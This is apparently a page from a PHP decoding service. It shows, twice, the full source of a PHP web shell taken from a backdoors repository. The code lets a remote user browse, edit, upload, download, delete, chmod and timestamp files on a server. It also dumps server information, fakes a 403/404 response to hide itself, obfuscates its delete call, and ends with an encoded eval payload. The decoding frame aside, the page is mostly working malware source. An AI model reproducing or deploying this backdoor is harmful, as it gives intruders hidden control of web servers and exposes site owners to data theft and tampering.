Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php // from https://github.com/1337r0j4n/php-backdoors gotojftpU; XlRbQ: foreach ..
Decoded Output download
<?php // from https://github.com/1337r0j4n/php-backdoors
gotojftpU;
XlRbQ:
foreach (array_merge($dirs, $files) as $path) {
$d = is_dir($path);
$w = is_writable($path); ?>
<tr>
<td class="<?php echo ($d ? "directory" : "file") . " " . ($w ? "writable" : "notwritable"); ?> ">
<a href="?<?php echo $d ? "dir=" . e($path) . '' : "file=" . e($path) . "&" . $edir; ?>">
<?php echo htmlspecialchars(basename($path)); ?> </a>
<?php echo is_link($path) ? "<span class="symlink">" . readlink($path) . "</span>" : ''; ?>
</td>
<td><?php echo $d ? "---" : size($path); ?>
</td>
<td><a href="?chtime=<?php echo e($path) . "&" . $edir; ?> " class="btn" onclick='return chtime(this,"<?php $chtime = date("M-d-Y H:i:s", filemtime($path));
echo $chtime; ?> ")'><?php echo $chtime; ?>
</a></td>
<td><a href="?chmod=<?php echo e($path) . "&" . $edir; ?> " class="btn"
onclick='return chmod(this,"<?php echo substr(sprintf("%o", @fileperms($path)), -4); ?> ")'><?php echo perms($path); ?>
</a></td>
<td><?php if (basename($path) !== "..") { ?>
<a href="?delete=<?php echo e($path) . "&" . $edir; ?> " class="btn icon delete"
onclick='return confirm("Sure to delete?")' title="Delete"></a><a
href="?rename=<?php echo e($path) . "&" . $edir; ?> " class="btn icon rename"
onclick='return rename(this,"<?php echo basename($path); ?> ")' title="Rename"></a><?php if (!$d) {
echo "<a title="Download" class="btnicondownload" href=" ? dl = " . e($path) . ""></a>";
}
} ?>
</td>
</tr><?php
}
gotosxAjy;
hPs32 : echo $dir;
gotom1QUh;
wPxEo:
echo $_SERVER["REMOTE_ADDR"];
gotoJDqVU;
x1s75:
$dir = $dir ? $dir : __DIR__;
gotoWs2q7;
sCoxG:
if (isset($_GET["chtime"], $_GET["new"])) {
if (touch($_GET["chtime"], intval(strtotime($_GET["new"])))) {
echo "<span class="success">TIME MACHINE SUCCESS!</span>";
} else {
echo "<span class="failed">TIME MACHINE FAILED!</span>";
}
}
gotoDbb9T;
EJMxG:
function perms($path) {
clearstatcache();
$perms = fileperms($path);
$x = array("U", "p", "c", "U", "d", "U", "b", "U", "r", "U", "l", "U", "s", "U", "U", "U");
$info = $x[$perms >> 12] . implode('', array_map(function ($b, $m) {
return $b == "1" ? $m : "-";
}, str_split(decbin($perms & 4095) . ''), str_split("rwxrwxrwx")));
return $info . " " . substr(sprintf("%o", @fileperms($path)), -4);
}
gotocLtwK;
m1QUh: ?>"><button>GO</button><a href="?dir=<?php gotoLZJ23;
LpZSp:
$dirs = array();
gotogZWA2;
P16Sh:
function symlinkDomain($dom) {
$d0mains = @file("/etc/named.conf", false);
if (!$d0mains) {
$dom = "<font color=red size=3px>Cant Read [ /etc/named.conf ]</font>";
$GLOBALS["need_to_update_header"] = "true";
} else {
$count = 0;
foreach ($d0mains as $d0main) {
if (@strstr($d0main, "zone")) {
preg_match_all("#zone "( . *) "#", $d0main, $domains);
flush();
if (strlen(trim($domains[1][0])) > 2) {
flush();
$count++;
}
}
}
$dom = "{$count} Domain";
}
return $dom;
}
gotoeCm9p;
rBvqN:
echo is_writable($dir) ? "writable" : "notwritable";
gotoOuL0o;
cLtwK:
if (!function_exists("posix_getpwuid") && !extension_loaded("posix")) {
function posix_getpwuid($x) {
return array("name" => "---");
}
}
gotoK42CU;
LR6tS:
if (isset($_GET["file"])) {
if (isset($_POST["edit"])) {
if (@file_put_contents($_GET["file"], $_POST["edit"])) {
echo "<span class="success">EDIT SUCCESS!</span>";
} else {
echo "<span class="failed">EDIT FAILED!</span>";
}
}
echo "<form action=" ? file = " . e($_GET["file"]) . " & " . $edir . "" method="post" onsubmit="edit . value = e(edit . value) "><textarea id="edit" name="edit">" . htmlspecialchars(file_get_contents($_GET["file"]), ENT_QUOTES | ENT_SUBSTITUTE | ENT_COMPAT, "UTF-8") . "</textarea><button>Update</button></form>";
}
gotoUtMjm;
fEYxs : ?> ">[Shell Path]</a></form>
<table>
<tr>
<th></th>
<th>SIZE</th>
<th>Modified Date</th>
<th>PERMS</th>
<th>ACTION</th>
</tr><?php gotoXlRbQ;
B1jhW:
function e($s) {
return base64_encode($s);
}
gotoc7Q09;
Ws2q7:
chdir($dir);
gotoIeky2;
xD2Xi: ?>
<br><a href="?info=info" class="btn" target="__blank">SERVER INFO</a>:<?php gotoXC1Yu;
eMOpg:
foreach (scandir($dir) as $p) {
if (is_dir($dir . "/" . $p)) {
if ($p != ".") {
$dirs[] = $dir . "/" . $p;
}
} else {
$files[] = $dir . "/" . $p;
}
}
gotomoCtt;
FaueU:
if (isset($_GET["chmod"], $_GET["new"])) {
if (chmod($_GET["chmod"], intval($_GET["new"], 8))) {
echo "<span class="success">CHMOD SUCCESS!</span>";
} else {
echo "<span class="failed">CHMOD FAILED!</span>";
}
}
gotosCoxG;
Yw6Fi:
foreach ($_POST as $k => $v) {
$_POST[$k] = d($v);
}
gotoLJQkQ;
m2IZa:
echo $edir;
gotoUJMti;
UJMti: ?>
"enctype="multipart/form-data"method="post"><input class="<?php gotorBvqN;
GKrTq:
foreach ($_GET as $k => $v) {
$_GET[$k] = d($v);
}
gotoYw6Fi;
OuL0o: ?>
" name="file" type="file"><button type="submit">Upload</button></form>
<center><?php gotoQeiKN;
iCNet:
echo e(realpath(__DIR__));
gotofEYxs;
JDqVU: ?>
<br>SERVER IP:<?php gotoveYrr;
c7Q09:
function d($s) {
return base64_decode($s);
}
gotozTEkQ;
XC1Yu:
echo php_uname();
gotoFIKKi;
Ieky2:
$edir = "dir=" . e($dir);
gotohKpRM;
gZWA2:
$files = array();
gotoeMOpg;
K42CU: ?>
<!doctypehtml>
<html>
<head>
<meta content="width=device-width,initial-scale=0.5,user-scalable=yes" name="viewport">
<title>403 Forbidden</title>
<style>
body,
button,
html,
input {
background: #000;
color: gray;
font-family: monospace
}
a {
color: gray;
text-decoration: none
}
button,
input {
border: 1px solid gray;
height: 1.7em
}
table {
width: 100%;
border: 1px dotted gray;
border-spacing: 0
}
tr:hover {
background: #161616
}
td,
th {
padding: 2px 0;
border: 1px solid #666
}
textarea {
width: 80%;
height: 50vh;
background: #000;
color: green;
tab-size: 4
}
.btn {
border: 1px solid #666;
border-radius: .3em;
padding: 0 .3em;
display: inline-block;
text-align: center
}
.btn:hover {
border-color: #fff;
background-color: #000;
transition: background-color .2s linear
}
.directory {
background: #444654
}
.directory:before {
content: "DIR/";
color: gray
}
.file {
background: #343641
}
.file:before {
content: "-";
color: gray
}
.notwritable,
.notwritable a {
color: #ff7800
}
.writable,
.writable a {
color: #49ff00
}
.symlink {
float: right;
color: #e2c275
}
.icon {
font-size: 1.5em;
padding: .1em .2em;
margin: 0
}
.delete:before {
content: "F6AE";
opacity: .7
}
.rename:before {
content: "D";
color: #00f
}
.download:before {
content: "9393";
color: green
}
.openlink:before {
content: "F517"
}
.success {
color: #ff0
}
.success:before {
content: "C"
}
.failed {
color: red
}
.failed:before {
content: "2"
}
</style>
<script>
function e(e) {
return btoa(e)
}
function chmod(n, r) {
var t = prompt("CHMOD:", r);
return !!t && (n.href += "&new=" + e(t), !0)
}
function chtime(n, r) {
var t = prompt("Change modified time:", r);
return !!t && (n.href += "&new=" + e(t), !0)
}
function rename(n, r) {
var t = prompt("Rename:", r);
return !!t && (n.href += "&new=" + e(t), !0)
}
</script>
</head>
<body>YOUR
IP:<?php gotowPxEo;
hKpRM:
if (isset($_GET["dl"])) {
if (!realpath($_GET["dl"])) {
die;
}
header("Content-Description: File Transfer");
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename="" . basename($_POST["dl"]) . """);
readfile($_GET["dl"]);
die;
}
gotokewHO;
veYrr:
echo gethostbyname($_SERVER["HTTP_HOST"]) . " / " . $_SERVER["SERVER_NAME"];
gotoq3FKZ;
FIKKi: ?>
<br>
<form
action="?<?php gotom2IZa;
zTEkQ:
if (isset($_GET["info"]) && $_GET["info"] === "info") {
phpinfo();
die;
}
gotoGKrTq;
LZJ23:
echo e(realpath($_SERVER["DOCUMENT_ROOT"]));
gotoKXE3_;
UtMjm:
if (isset($_GET["delete"])) {
$x = str_replace("X", '', "XuXnXlXiXnXkX");
if ($x($_GET["delete"])) {
echo "<span class="success">DELETE SUCCESS!</span>";
} else {
echo "<span class="failed">DELETE FAILED!</span>";
}
}
gotoFaueU;
KXE3_: ?> ">
[Root Path]</a><a
href="?dir=<?php gotoiCNet;
eCm9p: ?> DOMAIN ON SERVER :<?php gotoUb2Ba;
kewHO:
function size($path, $decimals = 0) {
$bytes = filesize($path);
$factor = floor((strlen($bytes) - 1) / 3);
if ($factor > 0) {
$sz = "KMGT";
}
return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor - 1] . "B";
}
gotoEJMxG;
Ub2Ba:
echo symlinkDomain($dom);
gotoxD2Xi;
Dbb9T:
if (isset($_GET["rename"], $_GET["new"])) {
if (rename($_GET["rename"], $dir . "/" . basename($_GET["new"]))) {
echo "<span class="success">RENAME SUCCESS!</span>";
} else {
echo "<span class="failed">RENAME FAILED!</span>";
}
}
gotoLpZSp;
iM4rT:
ini_set("display_startup_errors", 1);
gotojicsp;
tzs1d: ?> "
name="dir" id="dir" style="width:500px"
value="<?php gotohPs32;
QeiKN:
if (isset($_FILES["file"])) {
if (move_uploaded_file($_FILES["file"]["tmp_name"], basename($_FILES["file"]["name"]))) {
echo "<span class="success">UPLOAD SUCCESS!</span>";
} else {
echo "<span class="failed">UPLOAD FAILED!</span>";
}
}
gotoLR6tS;
moCtt: ?>
</center><form onsubmit="
dir.value=e(dir.value)">Directory: <input
class="<?php gotoUGzkw;
jftpU:
ini_set("display_errors", 1);
gotoiM4rT;
q3FKZ: ?>
<br><?php gotoP16Sh;
jicsp:
error_reporting(0);
gotojnJQU;
jnJQU:
http_response_code(404);
gotoB1jhW;
LJQkQ:
$dir = realpath(isset($_GET["dir"]) ? $_GET["dir"] : __DIR__);
gotox1s75;
UGzkw:
echo is_writable($dir) ? "writable" : "notwritable";
gototzs1d;
sxAjy:
eval(str_rot13(gzinflate(str_rot13(base64_decode('cpBEeIMwEIDf/RVOhCh1XO3TLB2sndq9jOHDHiYSWaYRW6yeWiD++rWm0MHyktx93GqXZksrayvQFjk0zZP3PCmwuenrx2qOWFGQHdvkP97vknnBD5LkYoc8zegh+cLlxpqUBm0BTgdJCahR428pBI/DY/UckTWJojVMPYWXV8lTVh51DbI5UFS45NhURq8b8EQjd+h04zheXddVgFtL6G0WH1PbF3Fvk4N+hBqjW9r+NK0DZOIQo55mrYZeKEmFx6DrumBv9Ry0tYZ3YCOMtv/wzCAkG40H72p2hv/A+5eW3rch6LlIbaQ/LdQnt8BzqwtozLv0WWjpW6Xnen4B'))))); ?>
</table>Modified By #No_Identity :: <a href="
https://github.com/yon3zu">github.com/yon3zu </a> - <a
href="https://linuxploit.com/">linuxploit.com</a>
</body>
</html>
Did this file decode correctly?
Original Code
<?php // from https://github.com/1337r0j4n/php-backdoors
gotojftpU;
XlRbQ:
foreach (array_merge($dirs, $files) as $path) {
$d = is_dir($path);
$w = is_writable($path); ?>
<tr>
<td class="<?php echo ($d ? "directory" : "file") . " " . ($w ? "writable" : "notwritable"); ?> ">
<a href="?<?php echo $d ? "dir=" . e($path) . '' : "file=" . e($path) . "&" . $edir; ?>">
<?php echo htmlspecialchars(basename($path)); ?> </a>
<?php echo is_link($path) ? "<span class="symlink">" . readlink($path) . "</span>" : ''; ?>
</td>
<td><?php echo $d ? "---" : size($path); ?>
</td>
<td><a href="?chtime=<?php echo e($path) . "&" . $edir; ?> " class="btn" onclick='return chtime(this,"<?php $chtime = date("M-d-Y H:i:s", filemtime($path));
echo $chtime; ?> ")'><?php echo $chtime; ?>
</a></td>
<td><a href="?chmod=<?php echo e($path) . "&" . $edir; ?> " class="btn"
onclick='return chmod(this,"<?php echo substr(sprintf("%o", @fileperms($path)), -4); ?> ")'><?php echo perms($path); ?>
</a></td>
<td><?php if (basename($path) !== "..") { ?>
<a href="?delete=<?php echo e($path) . "&" . $edir; ?> " class="btn icon delete"
onclick='return confirm("Sure to delete?")' title="Delete"></a><a
href="?rename=<?php echo e($path) . "&" . $edir; ?> " class="btn icon rename"
onclick='return rename(this,"<?php echo basename($path); ?> ")' title="Rename"></a><?php if (!$d) {
echo "<a title="Download" class="btnicondownload" href=" ? dl = " . e($path) . ""></a>";
}
} ?>
</td>
</tr><?php
}
gotosxAjy;
hPs32 : echo $dir;
gotom1QUh;
wPxEo:
echo $_SERVER["REMOTE_ADDR"];
gotoJDqVU;
x1s75:
$dir = $dir ? $dir : __DIR__;
gotoWs2q7;
sCoxG:
if (isset($_GET["chtime"], $_GET["new"])) {
if (touch($_GET["chtime"], intval(strtotime($_GET["new"])))) {
echo "<span class="success">TIME MACHINE SUCCESS!</span>";
} else {
echo "<span class="failed">TIME MACHINE FAILED!</span>";
}
}
gotoDbb9T;
EJMxG:
function perms($path) {
clearstatcache();
$perms = fileperms($path);
$x = array("U", "p", "c", "U", "d", "U", "b", "U", "r", "U", "l", "U", "s", "U", "U", "U");
$info = $x[$perms >> 12] . implode('', array_map(function ($b, $m) {
return $b == "1" ? $m : "-";
}, str_split(decbin($perms & 4095) . ''), str_split("rwxrwxrwx")));
return $info . " " . substr(sprintf("%o", @fileperms($path)), -4);
}
gotocLtwK;
m1QUh: ?>"><button>GO</button><a href="?dir=<?php gotoLZJ23;
LpZSp:
$dirs = array();
gotogZWA2;
P16Sh:
function symlinkDomain($dom) {
$d0mains = @file("/etc/named.conf", false);
if (!$d0mains) {
$dom = "<font color=red size=3px>Cant Read [ /etc/named.conf ]</font>";
$GLOBALS["need_to_update_header"] = "true";
} else {
$count = 0;
foreach ($d0mains as $d0main) {
if (@strstr($d0main, "zone")) {
preg_match_all("#zone "( . *) "#", $d0main, $domains);
flush();
if (strlen(trim($domains[1][0])) > 2) {
flush();
$count++;
}
}
}
$dom = "{$count} Domain";
}
return $dom;
}
gotoeCm9p;
rBvqN:
echo is_writable($dir) ? "writable" : "notwritable";
gotoOuL0o;
cLtwK:
if (!function_exists("posix_getpwuid") && !extension_loaded("posix")) {
function posix_getpwuid($x) {
return array("name" => "---");
}
}
gotoK42CU;
LR6tS:
if (isset($_GET["file"])) {
if (isset($_POST["edit"])) {
if (@file_put_contents($_GET["file"], $_POST["edit"])) {
echo "<span class="success">EDIT SUCCESS!</span>";
} else {
echo "<span class="failed">EDIT FAILED!</span>";
}
}
echo "<form action=" ? file = " . e($_GET["file"]) . " & " . $edir . "" method="post" onsubmit="edit . value = e(edit . value) "><textarea id="edit" name="edit">" . htmlspecialchars(file_get_contents($_GET["file"]), ENT_QUOTES | ENT_SUBSTITUTE | ENT_COMPAT, "UTF-8") . "</textarea><button>Update</button></form>";
}
gotoUtMjm;
fEYxs : ?> ">[Shell Path]</a></form>
<table>
<tr>
<th></th>
<th>SIZE</th>
<th>Modified Date</th>
<th>PERMS</th>
<th>ACTION</th>
</tr><?php gotoXlRbQ;
B1jhW:
function e($s) {
return base64_encode($s);
}
gotoc7Q09;
Ws2q7:
chdir($dir);
gotoIeky2;
xD2Xi: ?>
<br><a href="?info=info" class="btn" target="__blank">SERVER INFO</a>:<?php gotoXC1Yu;
eMOpg:
foreach (scandir($dir) as $p) {
if (is_dir($dir . "/" . $p)) {
if ($p != ".") {
$dirs[] = $dir . "/" . $p;
}
} else {
$files[] = $dir . "/" . $p;
}
}
gotomoCtt;
FaueU:
if (isset($_GET["chmod"], $_GET["new"])) {
if (chmod($_GET["chmod"], intval($_GET["new"], 8))) {
echo "<span class="success">CHMOD SUCCESS!</span>";
} else {
echo "<span class="failed">CHMOD FAILED!</span>";
}
}
gotosCoxG;
Yw6Fi:
foreach ($_POST as $k => $v) {
$_POST[$k] = d($v);
}
gotoLJQkQ;
m2IZa:
echo $edir;
gotoUJMti;
UJMti: ?>
"enctype="multipart/form-data"method="post"><input class="<?php gotorBvqN;
GKrTq:
foreach ($_GET as $k => $v) {
$_GET[$k] = d($v);
}
gotoYw6Fi;
OuL0o: ?>
" name="file" type="file"><button type="submit">Upload</button></form>
<center><?php gotoQeiKN;
iCNet:
echo e(realpath(__DIR__));
gotofEYxs;
JDqVU: ?>
<br>SERVER IP:<?php gotoveYrr;
c7Q09:
function d($s) {
return base64_decode($s);
}
gotozTEkQ;
XC1Yu:
echo php_uname();
gotoFIKKi;
Ieky2:
$edir = "dir=" . e($dir);
gotohKpRM;
gZWA2:
$files = array();
gotoeMOpg;
K42CU: ?>
<!doctypehtml>
<html>
<head>
<meta content="width=device-width,initial-scale=0.5,user-scalable=yes" name="viewport">
<title>403 Forbidden</title>
<style>
body,
button,
html,
input {
background: #000;
color: gray;
font-family: monospace
}
a {
color: gray;
text-decoration: none
}
button,
input {
border: 1px solid gray;
height: 1.7em
}
table {
width: 100%;
border: 1px dotted gray;
border-spacing: 0
}
tr:hover {
background: #161616
}
td,
th {
padding: 2px 0;
border: 1px solid #666
}
textarea {
width: 80%;
height: 50vh;
background: #000;
color: green;
tab-size: 4
}
.btn {
border: 1px solid #666;
border-radius: .3em;
padding: 0 .3em;
display: inline-block;
text-align: center
}
.btn:hover {
border-color: #fff;
background-color: #000;
transition: background-color .2s linear
}
.directory {
background: #444654
}
.directory:before {
content: "DIR/";
color: gray
}
.file {
background: #343641
}
.file:before {
content: "-";
color: gray
}
.notwritable,
.notwritable a {
color: #ff7800
}
.writable,
.writable a {
color: #49ff00
}
.symlink {
float: right;
color: #e2c275
}
.icon {
font-size: 1.5em;
padding: .1em .2em;
margin: 0
}
.delete:before {
content: "F6AE";
opacity: .7
}
.rename:before {
content: "D";
color: #00f
}
.download:before {
content: "9393";
color: green
}
.openlink:before {
content: "F517"
}
.success {
color: #ff0
}
.success:before {
content: "C"
}
.failed {
color: red
}
.failed:before {
content: "2"
}
</style>
<script>
function e(e) {
return btoa(e)
}
function chmod(n, r) {
var t = prompt("CHMOD:", r);
return !!t && (n.href += "&new=" + e(t), !0)
}
function chtime(n, r) {
var t = prompt("Change modified time:", r);
return !!t && (n.href += "&new=" + e(t), !0)
}
function rename(n, r) {
var t = prompt("Rename:", r);
return !!t && (n.href += "&new=" + e(t), !0)
}
</script>
</head>
<body>YOUR
IP:<?php gotowPxEo;
hKpRM:
if (isset($_GET["dl"])) {
if (!realpath($_GET["dl"])) {
die;
}
header("Content-Description: File Transfer");
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename="" . basename($_POST["dl"]) . """);
readfile($_GET["dl"]);
die;
}
gotokewHO;
veYrr:
echo gethostbyname($_SERVER["HTTP_HOST"]) . " / " . $_SERVER["SERVER_NAME"];
gotoq3FKZ;
FIKKi: ?>
<br>
<form
action="?<?php gotom2IZa;
zTEkQ:
if (isset($_GET["info"]) && $_GET["info"] === "info") {
phpinfo();
die;
}
gotoGKrTq;
LZJ23:
echo e(realpath($_SERVER["DOCUMENT_ROOT"]));
gotoKXE3_;
UtMjm:
if (isset($_GET["delete"])) {
$x = str_replace("X", '', "XuXnXlXiXnXkX");
if ($x($_GET["delete"])) {
echo "<span class="success">DELETE SUCCESS!</span>";
} else {
echo "<span class="failed">DELETE FAILED!</span>";
}
}
gotoFaueU;
KXE3_: ?> ">
[Root Path]</a><a
href="?dir=<?php gotoiCNet;
eCm9p: ?> DOMAIN ON SERVER :<?php gotoUb2Ba;
kewHO:
function size($path, $decimals = 0) {
$bytes = filesize($path);
$factor = floor((strlen($bytes) - 1) / 3);
if ($factor > 0) {
$sz = "KMGT";
}
return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor - 1] . "B";
}
gotoEJMxG;
Ub2Ba:
echo symlinkDomain($dom);
gotoxD2Xi;
Dbb9T:
if (isset($_GET["rename"], $_GET["new"])) {
if (rename($_GET["rename"], $dir . "/" . basename($_GET["new"]))) {
echo "<span class="success">RENAME SUCCESS!</span>";
} else {
echo "<span class="failed">RENAME FAILED!</span>";
}
}
gotoLpZSp;
iM4rT:
ini_set("display_startup_errors", 1);
gotojicsp;
tzs1d: ?> "
name="dir" id="dir" style="width:500px"
value="<?php gotohPs32;
QeiKN:
if (isset($_FILES["file"])) {
if (move_uploaded_file($_FILES["file"]["tmp_name"], basename($_FILES["file"]["name"]))) {
echo "<span class="success">UPLOAD SUCCESS!</span>";
} else {
echo "<span class="failed">UPLOAD FAILED!</span>";
}
}
gotoLR6tS;
moCtt: ?>
</center><form onsubmit="
dir.value=e(dir.value)">Directory: <input
class="<?php gotoUGzkw;
jftpU:
ini_set("display_errors", 1);
gotoiM4rT;
q3FKZ: ?>
<br><?php gotoP16Sh;
jicsp:
error_reporting(0);
gotojnJQU;
jnJQU:
http_response_code(404);
gotoB1jhW;
LJQkQ:
$dir = realpath(isset($_GET["dir"]) ? $_GET["dir"] : __DIR__);
gotox1s75;
UGzkw:
echo is_writable($dir) ? "writable" : "notwritable";
gototzs1d;
sxAjy:
eval(str_rot13(gzinflate(str_rot13(base64_decode('cpBEeIMwEIDf/RVOhCh1XO3TLB2sndq9jOHDHiYSWaYRW6yeWiD++rWm0MHyktx93GqXZksrayvQFjk0zZP3PCmwuenrx2qOWFGQHdvkP97vknnBD5LkYoc8zegh+cLlxpqUBm0BTgdJCahR428pBI/DY/UckTWJojVMPYWXV8lTVh51DbI5UFS45NhURq8b8EQjd+h04zheXddVgFtL6G0WH1PbF3Fvk4N+hBqjW9r+NK0DZOIQo55mrYZeKEmFx6DrumBv9Ry0tYZ3YCOMtv/wzCAkG40H72p2hv/A+5eW3rch6LlIbaQ/LdQnt8BzqwtozLv0WWjpW6Xnen4B'))))); ?>
</table>Modified By #No_Identity :: <a href="
https://github.com/yon3zu">github.com/yon3zu </a> - <a
href="https://linuxploit.com/">linuxploit.com</a>
</body>
</html>
Function Calls
None |
Stats
MD5 | 2cf4d56ba98f964890a6d7083f8c5975 |
Eval Count | 0 |
Decode Time | 120 ms |